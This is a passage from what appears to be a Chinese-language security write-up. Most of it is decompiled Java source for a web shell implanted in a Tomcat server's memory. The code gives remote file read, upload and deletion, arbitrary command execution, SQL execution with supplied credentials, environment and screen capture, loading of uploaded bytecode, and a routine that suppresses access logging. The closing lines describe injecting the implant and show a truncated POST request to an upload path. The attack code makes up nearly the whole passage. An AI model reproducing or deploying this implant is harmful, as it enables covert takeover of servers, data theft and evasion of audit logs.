                var3 = new FileOutputStream(var2);                byte[] var9 = new byte[5120];                int var6;                while((var6 = var4.read(var9)) != -1) {
                    var3.write(var9, 0, var6);
                }

                var3.flush();
                var3.close();
                var4.close();                return "ok".getBytes();
            } catch (Exception var8) {                if (var3 != null) {                    try {
                        var3.close();
                    } catch (IOException var7) {                        return var7.getMessage().getBytes();
                    }
                }

                StringBuffer var5 = new StringBuffer();
                var5.append("Exception errMsg:");
                var5.append(var8.getMessage());                return var5.toString().getBytes();
            }
        } else {            return "url or saveFile is null".getBytes();
        }
    }    public byte[] setFileAttr() {
        String var1 = this.get("type");
        String var2 = this.get("attr");
        String var3 = this.get("fileName");
        String var4 = "Null";        if (var1 != null &amp;&amp; var2 != null &amp;&amp; var3 != null) {            try {
                File var5 = new File(var3);                if ("fileBasicAttr".equals(var1)) {
                    Class var10001 = class$5;                    if (var10001 == null) {                        try {
                            var10001 = Class.forName("java.io.File");
                        } catch (ClassNotFoundException var27) {                            throw new NoClassDefFoundError(var27.getMessage());
                        }                        class$5 = var10001;
                    }                    if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) {                        if (var2.indexOf("R") != -1) {
                            var5.setReadable(true);
                        }                        if (var2.indexOf("W") != -1) {
                            var5.setWritable(true);
                        }                        if (var2.indexOf("X") != -1) {
                            var5.setExecutable(true);
                        }

                        var4 = "ok";
                    } else {
                        var4 = "Java version is less than 1.6";
                    }
                } else if ("fileTimeAttr".equals(var1)) {
                    Date var29 = new Date(0L);
                    StringBuffer var7 = new StringBuffer();
                    var7.append(var2);                    char[] var8 = new char[13 - var7.length()];
                    Arrays.fill(var8, '0');
                    var7.append(var8);
                    var29 = new Date(var29.getTime()   Long.parseLong(var7.toString()));
                    var5.setLastModified(var29.getTime());
                    var4 = "ok";                    try {
                        Class var9 = Class.forName("java.nio.file.Paths");
                        Class var10 = Class.forName("java.nio.file.Path");
                        Class var11 = Class.forName("java.nio.file.attribute.BasicFileAttributeView");
                        Class var12 = Class.forName("java.nio.file.Files");
                        Class var13 = Class.forName("java.nio.file.attribute.FileTime");
                        Class var14 = Class.forName("[java.nio.file.LinkOption");
                        Class[] var10002 = new Class[2];
                        Class var10005 = class$3;                        if (var10005 == null) {                            try {
                                var10005 = Class.forName("java.lang.String");
                            } catch (ClassNotFoundException var25) {                                throw new NoClassDefFoundError(var25.getMessage());
                            }                            class$3 = var10005;
                        }

                        var10002[0] = var10005;
                        var10005 = class$6;                        if (var10005 == null) {                            try {
                                var10005 = Class.forName("[Ljava.lang.String;");
                            } catch (ClassNotFoundException var24) {                                throw new NoClassDefFoundError(var24.getMessage());
                            }                            class$6 = var10005;
                        }

                        var10002[1] = var10005;
                        Method var15 = var9.getMethod("get", var10002);
                        Method var16 = var13.getMethod("fromMillis", Long.TYPE);
                        var10002 = new Class[]{var10, null, null};
                        var10005 = class$7;                        if (var10005 == null) {                            try {
                                var10005 = Class.forName("java.lang.Class");
                            } catch (ClassNotFoundException var23) {                                throw new NoClassDefFoundError(var23.getMessage());
                            }                            class$7 = var10005;
                        }

                        var10002[1] = var10005;
                        var10002[2] = var14;
                        Method var17 = var12.getMethod("getFileAttributeView", var10002);
                        Method var18 = var11.getMethod("setTimes", var13, var13, var13);
                        Object var19 = var15.invoke((Object)null, var3, new String[0]);
                        Object var20 = Array.newInstance(var14.getComponentType(), 0);
                        Object var21 = var17.invoke((Object)null, var19, var11, var20);
                        Object var22 = var16.invoke((Object)null, var29.getTime());
                        var18.invoke(var21, var22, var22, var22);
                    } catch (Throwable var26) {
                    }
                } else {
                    var4 = "no ExcuteType";
                }
            } catch (Throwable var28) {
                StringBuffer var6 = new StringBuffer();
                var6.append("Exception errMsg:");
                var6.append(var28.getMessage());                return var6.toString().getBytes();
            }
        } else {
            var4 = "type or attr or fileName is empty";
        }        return var4.getBytes();
    }    public byte[] readFile() {
        String var1 = this.get("fileName");        if (var1 != null) {
            File var2 = new File(var1);            try {                if (var2.exists() &amp;&amp; var2.isFile()) {                    if (var2.length() &gt; 204800L) {                        return "The file is too large, please use the large file to download".getBytes();
                    } else {                        byte[] var3 = new byte[(int)var2.length()];
                        FileInputStream var4;                        if (var3.length &gt; 0) {
                            var4 = new FileInputStream(var2);
                            var3 = this.readInputStream(var4, var3.length);
                            var4.close();
                        } else {
                            var3 = new byte[204800];
                            var4 = new FileInputStream(var2);                            int var5 = var4.read(var3);                            if (var5 &gt; 0) {
                                var3 = new byte[var5];
                                System.arraycopy(var3, 0, var3, 0, var3.length);
                            }

                            var4.close();
                        }                        return var3;
                    }
                } else {                    return "file does not exist".getBytes();
                }
            } catch (Exception var6) {                return var6.getMessage().getBytes();
            }
        } else {            return "No parameter fileName".getBytes();
        }
    }    public byte[] uploadFile() {
        String var1 = this.get("fileName");        byte[] var2 = this.getByteArray("fileValue");        if (var1 != null &amp;&amp; var2 != null) {            try {
                File var3 = new File(var1);
                var3.createNewFile();
                FileOutputStream var4 = new FileOutputStream(var3);
                var4.write(var2);
                var4.close();                return "ok".getBytes();
            } catch (Exception var5) {                return var5.getMessage().getBytes();
            }
        } else {            return "No parameter fileName and fileValue".getBytes();
        }
    }    public byte[] newFile() {
        String var1 = this.get("fileName");        if (var1 != null) {
            File var2 = new File(var1);            try {                return var2.createNewFile() ? "ok".getBytes() : "fail".getBytes();
            } catch (Exception var5) {
                StringBuffer var4 = new StringBuffer();
                var4.append("Exception errMsg:");
                var4.append(var5.getMessage());                return var4.toString().getBytes();
            }
        } else {            return "No parameter fileName".getBytes();
        }
    }    public byte[] newDir() {
        String var1 = this.get("dirName");        if (var1 != null) {
            File var2 = new File(var1);            try {                return var2.mkdirs() ? "ok".getBytes() : "fail".getBytes();
            } catch (Exception var5) {
                StringBuffer var4 = new StringBuffer();
                var4.append("Exception errMsg:");
                var4.append(var5.getMessage());                return var4.toString().getBytes();
            }
        } else {            return "No parameter fileName".getBytes();
        }
    }    public byte[] deleteFile() {
        String var1 = this.get("fileName");
        String var2 = "mem://";        if (var1 != null) {            if (var1.startsWith(var2)) {                this.session.remove(var1);                return "ok".getBytes();
            } else {                try {
                    File var3 = new File(var1);                    this.deleteFiles(var3);                    return "ok".getBytes();
                } catch (Exception var5) {
                    StringBuffer var4 = new StringBuffer();
                    var4.append("Exception errMsg:");
                    var4.append(var5.getMessage());                    return var4.toString().getBytes();
                }
            }
        } else {            return "No parameter fileName".getBytes();
        }
    }    public byte[] moveFile() {
        String var1 = this.get("srcFileName");
        String var2 = this.get("destFileName");        if (var1 != null &amp;&amp; var2 != null) {
            File var3 = new File(var1);            try {                if (var3.exists()) {                    return var3.renameTo(new File(var2)) ? "ok".getBytes() : "fail".getBytes();
                } else {                    return "The target does not exist".getBytes();
                }
            } catch (Exception var6) {
                StringBuffer var5 = new StringBuffer();
                var5.append("Exception errMsg:");
                var5.append(var6.getMessage());                return var5.toString().getBytes();
            }
        } else {            return "No parameter srcFileName,destFileName".getBytes();
        }
    }    public byte[] copyFile() {
        String var1 = this.get("srcFileName");
        String var2 = this.get("destFileName");        if (var1 != null &amp;&amp; var2 != null) {
            File var3 = new File(var1);
            File var4 = new File(var2);            try {                if (var3.exists() &amp;&amp; var3.isFile()) {
                    FileInputStream var5 = new FileInputStream(var3);
                    FileOutputStream var6 = new FileOutputStream(var4);                    byte[] var7 = new byte[5120];                    int var8;                    while((var8 = var5.read(var7)) &gt; -1) {
                        var6.write(var7, 0, var8);
                    }

                    var5.close();
                    var6.close();                    return "ok".getBytes();
                } else {                    return "The target does not exist or is not a file".getBytes();
                }
            } catch (Exception var9) {                return var9.getMessage().getBytes();
            }
        } else {            return "No parameter srcFileName,destFileName".getBytes();
        }
    }    public byte[] include() {        byte[] var1 = this.getByteArray("binCode");
        String var2 = this.get("codeName");        if (var1 != null &amp;&amp; var2 != null) {            try {
                JacksonAnnotationIntrospector var3 = new JacksonAnnotationIntrospector(this.getClass().getClassLoader());
                Class var4 = var3.defineClass(var1);                this.session.put(var2, var4);                return "ok".getBytes();
            } catch (Exception var5) {                return this.session.get(var2) != null ? "ok".getBytes() : var5.getMessage().getBytes();
            }
        } else {            return "No parameter binCode,codeName".getBytes();
        }
    }    public byte[] execCommand() {
        String var1 = this.get("argsCount");        if (var1 != null &amp;&amp; var1.length() &gt; 0) {            int var2 = Integer.parseInt(var1);
            String[] var3 = new String[var2];            for(int var4 = 0; var4 &lt; var3.length;   var4) {
                var3[var4] = this.get("arg-"   var4);
            }            try {
                Process var11 = Runtime.getRuntime().exec(var3);                if (var11 == null) {                    return "Unable to start process".getBytes();
                } else {
                    InputStream var12 = var11.getInputStream();
                    InputStream var6 = var11.getErrorStream();
                    ByteArrayOutputStream var7 = new ByteArrayOutputStream(1024);                    byte[] var8 = new byte[1042];                    int var9;                    if (var12 != null) {                        while((var9 = var12.read(var8)) &gt; 0) {
                            var7.write(var8, 0, var9);
                        }
                    }                    if (var6 != null) {                        while((var9 = var6.read(var8)) &gt; 0) {
                            var7.write(var8, 0, var9);
                        }
                    }                    return var7.toByteArray();
                }
            } catch (Exception var10) {
                StringBuffer var5 = new StringBuffer();
                var5.append("Exception errMsg:");
                var5.append(var10.getMessage());                return var5.toString().getBytes();
            }
        } else {            return "No parameter argsCount".getBytes();
        }
    }    public byte[] getBasicsInfo() {
        String var1 = "";        try {
            Enumeration var2 = System.getProperties().keys();
            var1 = var1   "FileRoot : "   this.listFileRoot()   "n";
            var1 = var1   "CurrentDir : "   (new File("")).getAbsoluteFile()   "/"   "n";
            var1 = var1   "CurrentUser : "   System.getProperty("user.name")   "n";
            var1 = var1   "ProcessArch : "   System.getProperty("sun.arch.data.model")   "n";

            String var9;            try {
                var9 = System.getProperty("java.io.tmpdir");                char var4 = var9.charAt(var9.length() - 1);                if (var4 != '\' &amp;&amp; var4 != '/') {
                    var9 = var9   File.separator;
                }

                var1 = var1   "TempDirectory : "   var9   "n";
            } catch (Exception var7) {
            }

            var1 = var1   "RealFile : "   this.getRealPath()   "n";            try {
                var1 = var1   "OsInfo : os.name: "   System.getProperty("os.name")   " os.version: "   System.getProperty("os.version")   " os.arch: "   System.getProperty("os.arch")   "n";
            } catch (Exception var6) {
                var1 = var1   "OsInfo : "   var6.getMessage()   "n";
            }            for(var1 = var1   "IPList : "   getLocalIPList()   "n"; var2.hasMoreElements(); var1 = var1   var9   " : "   System.getProperty(var9)   "n") {
                var9 = (String)var2.nextElement();
            }

            Map var11 = this.getEnv();
            String var10;            if (var11 != null) {                for(Iterator var5 = var11.keySet().iterator(); var5.hasNext(); var1 = var1   var10   " : "   var11.get(var10)   "n") {
                    var10 = (String)var5.next();
                }
            }            return var1.getBytes();
        } catch (Exception var8) {
            StringBuffer var3 = new StringBuffer();
            var3.append(var1);
            var3.append("Exception errMsg:");
            var3.append(var8.getMessage());            return var3.toString().getBytes();
        }
    }    public byte[] screen() {        try {
            Robot var1 = new Robot();
            BufferedImage var6 = var1.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
            ByteArrayOutputStream var3 = new ByteArrayOutputStream();
            ImageIO.write(var6, "png", ImageIO.createImageOutputStream(var3));            byte[] var4 = var3.toByteArray();
            var3.close();            return var4;
        } catch (Throwable var5) {
            StringBuffer var2 = new StringBuffer();
            var2.append("Exception errMsg:");
            var2.append(var5.getMessage());            return var2.toString().getBytes();
        }
    }    public byte[] execSql() throws Exception {
        String var1 = this.get("dbCharset");
        String var2 = this.get("jdbcURL");
        String var3 = this.get("dbDriver");
        String var4 = this.get("dbUsername");
        String var5 = this.get("dbPassword");
        String var6 = this.get("execType");        if (var1 == null || var1.trim().length() &gt; 0) {
            var1 = "UTF-8";
        }

        String var7 = new String(this.getByteArray("execSql"), var1);
        HashMap var8 = new HashMap();        if (var4 != null &amp;&amp; var5 != null &amp;&amp; var6 != null &amp;&amp; var7 != null) {            try {                try {                    if (var3 != null) {
                        Class.forName(var3);
                    }
                } catch (Throwable var30) {
                }                try {
                    Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
                } catch (Throwable var29) {
                }                try {
                    Class.forName("oracle.jdbc.driver.OracleDriver");
                } catch (Throwable var28) {                    try {
                        Class.forName("oracle.jdbc.OracleDriver");
                    } catch (Throwable var27) {
                    }
                }                try {
                    Class.forName("com.mysql.cj.jdbc.Driver");
                } catch (Throwable var26) {                    try {
                        Class.forName("com.mysql.jdbc.Driver");
                    } catch (Throwable var25) {
                    }
                }                try {
                    Class.forName("org.postgresql.Driver");
                } catch (Throwable var24) {
                }                if (var2 != null) {                    try {
                        Connection var9 = null;                        try {
                            var9 = getConnection(var2, var4, var5);
                        } catch (Exception var23) {
                        }                        if (var9 == null) {
                            var9 = DriverManager.getConnection(var2, var4, var5);
                        }

                        Statement var10 = var9.createStatement();                        if (var6.equals("select")) {
                            ResultSet var11 = var10.executeQuery(var7);
                            ResultSetMetaData var12 = var11.getMetaData();                            int var13 = var12.getColumnCount();
                            HashMap var14 = new HashMap();                            for(int var15 = 0; var15 &lt; var13;   var15) {
                                var14.put(String.valueOf(var15), var12.getColumnName(var15   1));
                            }

                            var14.put("count", String.valueOf(var13));
                            var8.put("column", var14);
                            HashMap var34 = new HashMap();                            int var16 = 0;                            for(int var17 = 0; var11.next();   var17) {
                                HashMap var18 = new HashMap();                                for(int var19 = 0; var19 &lt; var13;   var19) {
                                    Object var20 = var11.getObject(var19   1);
                                    String var21 = null;                                    if (var20 == null) {
                                        var21 = "NULL";
                                    } else {
                                        Class var10000 = class$2;                                        if (var10000 == null) {                                            try {
                                                var10000 = Class.forName("[B");
                                            } catch (ClassNotFoundException var22) {                                                throw new NoClassDefFoundError(var22.getMessage());
                                            }                                            class$2 = var10000;
                                        }                                        if (var10000.isInstance(var20)) {
                                            var21 = this.base64Encode((byte[])var20);
                                        } else {
                                            var21 = var20.toString();
                                        }
                                    }

                                    var18.put(String.valueOf(var19), var21);
                                }

                                  var16;
                                var34.put(String.valueOf(var17), var18);
                            }

                            var34.put("count", String.valueOf(var16));
                            var8.put("rows", var34);
                            var11.close();
                            var10.close();
                            var9.close();
                        } else {                            int var33 = var10.executeUpdate(var7);
                            var10.close();
                            var9.close();
                            var8.put("errMsg", "Query OK, "   var33   " rows affected");
                        }
                    } catch (Exception var31) {
                        var8.put("errMsg", var31.getMessage());
                    }
                } else {
                    var8.put("errMsg", "This database is not supported");
                }
            } catch (Exception var32) {
                var8.put("errMsg", var32.getMessage());
            }
        } else {
            var8.put("errMsg", "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql");
        }        return this.serialize(var8);
    }    public byte[] close() {        try {
            String var1 = this.sessionId();
            String var2 = this.get("operation");            if (var1 != null) {
                Map var7 = (Map)sessionMap.remove(var1);
                var7.put("alive", Boolean.FALSE);                return "ok".getBytes();
            } else if (var2 != null &amp;&amp; "clearup".equals(var2)) {
                Iterator var3 = sessionMap.values().iterator();                while(var3.hasNext()) {
                    Object var4 = var3.next();
                    Class var10000 = class$0;                    if (var10000 == null) {                        try {
                            var10000 = Class.forName("java.util.Map");
                        } catch (ClassNotFoundException var5) {                            throw new NoClassDefFoundError(var5.getMessage());
                        }                        class$0 = var10000;
                    }                    if (var10000.isInstance(var4)) {
                        ((Map)var4).put("alive", Boolean.FALSE);
                    }
                }

                sessionMap.clear();                return "ok".getBytes();
            } else {                return "fail".getBytes();
            }
        } catch (Exception var6) {            return var6.getMessage().getBytes();
        }
    }    public byte[] bigFileUpload() {
        String var1 = this.get("fileName");        byte[] var2 = this.getByteArray("fileContents");
        String var3 = this.get("position");
        String var4 = "mem://";        int var5 = var3 == null ? 0 : Integer.parseInt(var3);
        Constructor var6 = null;        try {            try {
                Class var10000 = class$8;                if (var10000 == null) {                    try {
                        var10000 = Class.forName("java.io.RandomAccessFile");
                    } catch (ClassNotFoundException var11) {                        throw new NoClassDefFoundError(var11.getMessage());
                    }                    class$8 = var10000;
                }

                Class[] var10001 = new Class[2];
                Class var10004 = class$3;                if (var10004 == null) {                    try {
                        var10004 = Class.forName("java.lang.String");
                    } catch (ClassNotFoundException var10) {                        throw new NoClassDefFoundError(var10.getMessage());
                    }                    class$3 = var10004;
                }

                var10001[0] = var10004;
                var10004 = class$3;                if (var10004 == null) {                    try {
                        var10004 = Class.forName("java.lang.String");
                    } catch (ClassNotFoundException var9) {                        throw new NoClassDefFoundError(var9.getMessage());
                    }                    class$3 = var10004;
                }

                var10001[1] = var10004;
                var6 = var10000.getConstructor(var10001);
            } catch (NoSuchMethodException var12) {
                var3 = null;
            }            if (var1.startsWith(var4)) {                if (var5 == 0) {                    this.session.put(var1, new ByteArrayOutputStream());
                }

                ByteArrayOutputStream var7 = (ByteArrayOutputStream)this.session.get(var1);
                var7.write(var2);
            } else if (var3 == null) {
                FileOutputStream var14 = new FileOutputStream(var1, true);
                var14.write(var2);
                var14.flush();
                var14.close();
            } else {
                RandomAccessFile var15 = (RandomAccessFile)var6.newInstance(var1, "rw");
                var15.seek((long)var5);
                var15.write(var2);
                var15.close();
            }            return "ok".getBytes();
        } catch (Exception var13) {
            StringBuffer var8 = new StringBuffer();
            var8.append("Exception errMsg:");
            var8.append(var13.getMessage());            return var8.toString().getBytes();
        }
    }    public byte[] bigFileDownload() {
        String var1 = this.get("fileName");
        String var2 = this.get("mode");
        String var3 = this.get("readByteNum");
        String var4 = this.get("position");
        String var5 = "mem://";        try {            if ("fileSize".equals(var2)) {                return String.valueOf((new File(var1)).length()).getBytes();
            } else if ("read".equals(var2)) {                int var6 = Integer.valueOf(var4);                int var12 = Integer.valueOf(var3);                byte[] var8 = new byte[var12];
                Object var9 = null;                if (var1.startsWith(var5)) {
                    var9 = (InputStream)this.session.get(var1);
                } else {
                    var9 = new FileInputStream(var1);
                }

                ((InputStream)var9).skip((long)var6);                int var10 = ((InputStream)var9).read(var8);
                ((InputStream)var9).close();                return var10 == var8.length ? var8 : copyOf(var8, var10);
            } else {                return "no mode".getBytes();
            }
        } catch (Exception var11) {
            StringBuffer var7 = new StringBuffer();
            var7.append("Exception errMsg:");
            var7.append(var11.getMessage());            return var7.toString().getBytes();
        }
    }    public static byte[] copyOf(byte[] var0, int var1) {        byte[] var2 = new byte[var1];
        System.arraycopy(var0, 0, var2, 0, Math.min(var0.length, var1));        return var2;
    }    public Map getEnv() {        try {
            Class var10000 = class$9;            if (var10000 == null) {                try {
                    var10000 = Class.forName("java.lang.System");
                } catch (ClassNotFoundException var1) {                    throw new NoClassDefFoundError(var1.getMessage());
                }                class$9 = var10000;
            }            return (Map)var10000.getMethod("getenv").invoke((Object)null);
        } catch (Throwable var2) {            return null;
        }
    }    public static Connection getConnection(String var0, String var1, String var2) {
        Connection var3 = null;        try {
            Class var10000 = class$10;            if (var10000 == null) {                try {
                    var10000 = Class.forName("java.sql.DriverManager");
                } catch (ClassNotFoundException var15) {                    throw new NoClassDefFoundError(var15.getMessage());
                }                class$10 = var10000;
            }

            Field[] var4 = var10000.getDeclaredFields();
            Field var5 = null;            for(int var6 = 0; var6 &lt; var4.length;   var6) {
                var5 = var4[var6];                if (var5.getName().indexOf("rivers") != -1) {
                    var10000 = class$11;                    if (var10000 == null) {                        try {
                            var10000 = Class.forName("java.util.List");
                        } catch (ClassNotFoundException var14) {                            throw new NoClassDefFoundError(var14.getMessage());
                        }                        class$11 = var10000;
                    }                    if (var10000.isAssignableFrom(var5.getType())) {                        break;
                    }
                }

                var5 = null;
            }            if (var5 != null) {
                var5.setAccessible(true);
                List var18 = (List)var5.get((Object)null);
                Iterator var7 = var18.iterator();                while(var7.hasNext() &amp;&amp; var3 == null) {                    try {
                        Object var8 = var7.next();
                        Driver var9 = null;
                        var10000 = class$12;                        if (var10000 == null) {                            try {
                                var10000 = Class.forName("java.sql.Driver");
                            } catch (ClassNotFoundException var13) {                                throw new NoClassDefFoundError(var13.getMessage());
                            }                            class$12 = var10000;
                        }                        if (!var10000.isAssignableFrom(var8.getClass())) {
                            Field[] var10 = var8.getClass().getDeclaredFields();                            for(int var11 = 0; var11 &lt; var10.length;   var11) {
                                var10000 = class$12;                                if (var10000 == null) {                                    try {
                                        var10000 = Class.forName("java.sql.Driver");
                                    } catch (ClassNotFoundException var12) {                                        throw new NoClassDefFoundError(var12.getMessage());
                                    }                                    class$12 = var10000;
                                }                                if (var10000.isAssignableFrom(var10[var11].getType())) {
                                    var10[var11].setAccessible(true);
                                    var9 = (Driver)var10[var11].get(var8);                                    break;
                                }
                            }
                        }                        if (var9 != null) {
                            Properties var19 = new Properties();                            if (var1 != null) {
                                var19.put("user", var1);
                            }                            if (var2 != null) {
                                var19.put("password", var2);
                            }

                            var3 = var9.connect(var0, var19);
                        }
                    } catch (Exception var16) {
                    }
                }
            }
        } catch (Exception var17) {
        }        return var3;
    }    public String sessionId() {        byte[] var1 = this.getByteArray("sessionId");        return var1 != null ? new String(var1) : null;
    }    public static String getLocalIPList() {
        ArrayList var0 = new ArrayList();        try {
            Class var1 = Class.forName("java.net.NetworkInterface");
            Method var2 = var1.getMethod("getNetworkInterfaces");
            Method var3 = var1.getMethod("getInetAddresses");
            Enumeration var4 = (Enumeration)var2.invoke((Object)null);            while(var4.hasMoreElements()) {
                Object var5 = var4.nextElement();
                Enumeration var6 = (Enumeration)var3.invoke(var5);                while(var6.hasMoreElements()) {
                    InetAddress var7 = (InetAddress)var6.nextElement();                    if (var7 != null) {
                        String var8 = var7.getHostAddress();
                        var0.add(var8);
                    }
                }
            }
        } catch (Throwable var9) {
        }

        Iterator var10 = var0.iterator();
        StringBuffer var11 = new StringBuffer();
        var11.append("[");        while(var10.hasNext()) {
            Object var12 = var10.next();
            var11.append(var12.toString());
            var11.append(",");
        }        if (var11.length() &gt; 1) {
            var11.deleteCharAt(var11.length() - 1);
        }

        var11.append("]");        return var11.toString();
    }    public String getRealPath() {
        String var1 = (new File("")).getAbsoluteFile()   "/";        if (this.servletRequest != null) {            try {
                Method var2 = this.getMethodByClass(this.servletRequest.getClass(), "getServletContext", new Class[0]);
                Object var3 = var2.invoke(this.servletRequest, (Object[])null);                if (var3 != null) {
                    Class var4 = var3.getClass();
                    Class[] var5 = new Class[1];
                    Class var10002 = class$3;                    if (var10002 == null) {                        try {
                            var10002 = Class.forName("java.lang.String");
                        } catch (ClassNotFoundException var8) {                            throw new NoClassDefFoundError(var8.getMessage());
                        }                        class$3 = var10002;
                    }

                    var5[0] = var10002;
                    Method var6 = this.getMethodByClass(var4, "getRealPath", var5);                    if (var6 != null) {
                        Object var7 = var6.invoke(var3, "/");                        return var7 != null ? var7.toString() : var1;
                    }
                }
            } catch (Throwable var9) {
            }
        }        return var1;
    }    public void deleteFiles(File var1) throws Exception {        if (var1.isDirectory()) {
            File[] var2 = var1.listFiles();            for(int var3 = 0; var3 &lt; var2.length;   var3) {
                File var4 = var2[var3];                this.deleteFiles(var4);
            }
        }

        var1.delete();
    }    Object invoke(Object var1, String var2, Object[] var3) {        try {
            ArrayList var4 = new ArrayList();            if (var3 != null) {                for(int var5 = 0; var5 &lt; var3.length;   var5) {
                    Object var6 = var3[var5];                    if (var6 != null) {
                        var4.add(var6.getClass());
                    } else {
                        var4.add((Object)null);
                    }
                }
            }

            Method var8 = this.getMethodByClass(var1.getClass(), var2, (Class[])var4.toArray(new Class[0]));            return var8.invoke(var1, var3);
        } catch (Exception var7) {            return null;
        }
    }    Method getMethodByClass(Class var1, String var2, Class[] var3) {
        Method var4 = null;        while(var1 != null) {            try {
                var4 = var1.getDeclaredMethod(var2, var3);
                var1 = null;
            } catch (Exception var5) {
                var1 = var1.getSuperclass();
            }
        }        return var4;
    }    public static Object getFieldValue(Object var0, String var1) throws Exception {
        Field var2 = null;        if (var0 instanceof Field) {
            var2 = (Field)var0;
        } else {
            Class var3 = var0.getClass();            while(var3 != null) {                try {
                    var2 = var3.getDeclaredField(var1);
                    var3 = null;
                } catch (Exception var4) {
                    var3 = var3.getSuperclass();
                }
            }
        }

        var2.setAccessible(true);        return var2.get(var0);
    }    private byte[] readInputStream(InputStream var1, int var2) {        byte[] var3 = new byte[var2];        int var4 = 0;        try {            while((var4  = var1.read(var3, var4, var3.length - var4)) &lt; var3.length) {
            }
        } catch (IOException var5) {
        }        return var3;
    }    public static String getRandomString(int var0) {
        String var1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        Random var2 = new Random();
        StringBuffer var3 = new StringBuffer();
        var3.append(var1.charAt(var2.nextInt(52)));
        var1 = var1   "0123456789";        for(int var4 = 0; var4 &lt; var0;   var4) {            int var5 = var2.nextInt(62);
            var3.append(var1.charAt(var5));
        }        return var3.toString();
    }    private void noLog(Object var1) {        try {
            Method var2 = this.getMethodByClass(var1.getClass(), "getServletContext", (Class[])null);
            Object var3 = var2.invoke(var1, (Object[])null);
            Object var4 = getFieldValue(var3, "context");
            Object var5 = getFieldValue(var4, "context");

            ArrayList var6;            for(var6 = new ArrayList(); var5 != null; var5 = this.invoke(var5, "getParent", (Object[])null)) {
                var6.add(var5);
            }

            label84:            for(int var7 = 0; var7 &lt; var6.size();   var7) {                try {
                    Object var8 = this.invoke(var6.get(var7), "getPipeline", (Object[])null);                    if (var8 != null) {
                        Object var9 = this.invoke(var8, "getFirst", (Object[])null);                        while(true) {                            while(true) {                                if (var9 == null) {                                    continue label84;
                                }                                if (this.getMethodByClass(var9.getClass(), "getCondition", (Class[])null) != null) {
                                    Class var10001 = var9.getClass();
                                    Class[] var10003 = new Class[1];
                                    Class var10006 = class$3;                                    if (var10006 == null) {                                        try {
                                            var10006 = Class.forName("java.lang.String");
                                        } catch (ClassNotFoundException var14) {                                            throw new NoClassDefFoundError(var14.getMessage());
                                        }                                        class$3 = var10006;
                                    }

                                    var10003[0] = var10006;                                    if (this.getMethodByClass(var10001, "setCondition", var10003) != null) {
                                        String var10 = (String)this.invoke((String)var9, "getCondition", new Object[0]);
                                        var10 = var10 == null ? "FuckLog" : var10;                                        this.invoke(var9, "setCondition", new Object[]{var10});
                                        var10001 = var1.getClass();
                                        var10003 = new Class[2];
                                        var10006 = class$3;                                        if (var10006 == null) {                                            try {
                                                var10006 = Class.forName("java.lang.String");
                                            } catch (ClassNotFoundException var13) {                                                throw new NoClassDefFoundError(var13.getMessage());
                                            }                                            class$3 = var10006;
                                        }

                                        var10003[0] = var10006;
                                        var10006 = class$3;                                        if (var10006 == null) {                                            try {
                                                var10006 = Class.forName("java.lang.String");
                                            } catch (ClassNotFoundException var12) {                                                throw new NoClassDefFoundError(var12.getMessage());
                                            }                                            class$3 = var10006;
                                        }

                                        var10003[1] = var10006;
                                        Method var11 = this.getMethodByClass(var10001, "setAttribute", var10003);
                                        var11.invoke(var10, var10);
                                        var9 = this.invoke(var9, "getNext", (Object[])null);                                        continue;
                                    }
                                }                                if (Class.forName("org.apache.catalina.Valve", false, var4.getClass().getClassLoader()).isAssignableFrom(var9.getClass())) {
                                    var9 = this.invoke(var9, "getNext", (Object[])null);
                                } else {
                                    var9 = null;
                                }
                            }
                        }
                    }
                } catch (Exception var15) {
                }
            }
        } catch (Exception var16) {
        }

    }    public static int bytesToInt(byte[] var0) {        int var1 = var0[0] &amp; 255 | (var0[1] &amp; 255) &lt;&lt; 8 | (var0[2] &amp; 255) &lt;&lt; 16 | (var0[3] &amp; 255) &lt;&lt; 24;        return var1;
    }    public static byte[] intToBytes(int var0) {        byte[] var1 = new byte[]{(byte)(var0 &amp; 255), (byte)(var0 &gt;&gt; 8 &amp; 255), (byte)(var0 &gt;&gt; 16 &amp; 255), (byte)(var0 &gt;&gt; 24 &amp; 255)};        return var1;
    }    public String base64Encode(byte[] var1) {        byte var2 = 0;        int var3 = var1.length;        byte[] var4 = new byte[4 * ((var1.length   2) / 3)];        byte var5 = -1;        boolean var6 = true;        char[] var7 = toBase64;        int var8 = var2;        int var9 = (var3 - var2) / 3 * 3;        int var10 = var2   var9;        if (var5 &gt; 0 &amp;&amp; var9 &gt; var5 / 4 * 3) {
            var9 = var5 / 4 * 3;
        }        int var11;        int var12;        int var13;        for(var11 = 0; var8 &lt; var10; var8 = var12) {
            var12 = Math.min(var8   var9, var10);
            var13 = var8;            int var15;            for(int var14 = var11; var13 &lt; var12; var4[var14  ] = (byte)var7[var15 &amp; 63]) {
                var15 = (var1[var13  ] &amp; 255) &lt;&lt; 16 | (var1[var13  ] &amp; 255) &lt;&lt; 8 | var1[var13  ] &amp; 255;
                var4[var14  ] = (byte)var7[var15 &gt;&gt;&gt; 18 &amp; 63];
                var4[var14  ] = (byte)var7[var15 &gt;&gt;&gt; 12 &amp; 63];
                var4[var14  ] = (byte)var7[var15 &gt;&gt;&gt; 6 &amp; 63];
            }

            var13 = (var12 - var8) / 3 * 4;
            var11  = var13;
        }        if (var8 &lt; var3) {
            var12 = var1[var8  ] &amp; 255;
            var4[var11  ] = (byte)var7[var12 &gt;&gt; 2];            if (var8 == var3) {
                var4[var11  ] = (byte)var7[var12 &lt;&lt; 4 &amp; 63];                if (var6) {
                    var4[var11  ] = 61;
                    var4[var11  ] = 61;
                }
            } else {
                var13 = var1[var8  ] &amp; 255;
                var4[var11  ] = (byte)var7[var12 &lt;&lt; 4 &amp; 63 | var13 &gt;&gt; 4];
                var4[var11  ] = (byte)var7[var13 &lt;&lt; 2 &amp; 63];                if (var6) {
                    var4[var11  ] = 61;
                }
            }
        }        return new String(var4);
    }
}

我们将如上内存马打进去,并没有任何反应,

我们尝试切换tomcat进行解析

2.2 Tomcat 搭建

tomcat解析会报错,存在两个jar包缺失

返回数据

代码语言:javascript复制
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
